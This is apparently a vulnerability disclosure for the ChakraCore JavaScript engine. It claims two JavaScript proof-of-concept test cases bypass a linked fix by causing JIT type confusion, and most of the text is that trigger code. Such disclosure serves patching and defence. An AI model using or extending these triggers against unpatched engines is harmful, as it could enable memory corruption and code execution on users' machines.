It seems this is the patch for the bug.
https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a

The following two cases will bypass the fix.

1:
function opt() {
    let obj = new Number(2.3023e-320);
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();

2:
function opt() {
    let obj = '2.3023e-320';
    for (let i = 0; i < 1; i++) {
        obj.x = 1;
        obj = +obj;
        obj.x = 1;
    }
}

function main() {
    for (let i = 0; i < 100; i++) {
        opt();
    }
}

main();